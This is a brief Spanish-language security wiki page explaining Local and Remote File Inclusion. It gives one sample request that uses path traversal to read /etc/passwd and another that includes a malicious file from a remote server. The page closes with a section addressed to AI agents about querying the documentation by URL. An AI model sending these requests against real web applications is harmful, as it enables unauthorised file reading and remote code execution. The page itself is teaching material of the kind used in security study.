# 7. LFI/RFI

Estas vulnerabilidades afectan a la subida de ficheros en una aplicación web.

## 1. Local File Inclusion

Acceso a ficheros dentro de un mismo servidor, ejecutando código en la aplicación para acceder a recursos del servidor.

```
GET dominio.meow/ejemplolfi.php?file=../../../etc/passwd HTTP/1.1
```

## 2. Remote File Inclusion

Acceso a ficheros en servidores remotos.

```
GET dominio.meow/ejemplorfi.php?file=dominioRemoto/ficheroMalicioso HTTP/1.1
```

Recursos:

* <https://www.busybox.net/>
* <https://pentestmonkey.net/>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/web/7.-lfi-rfi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
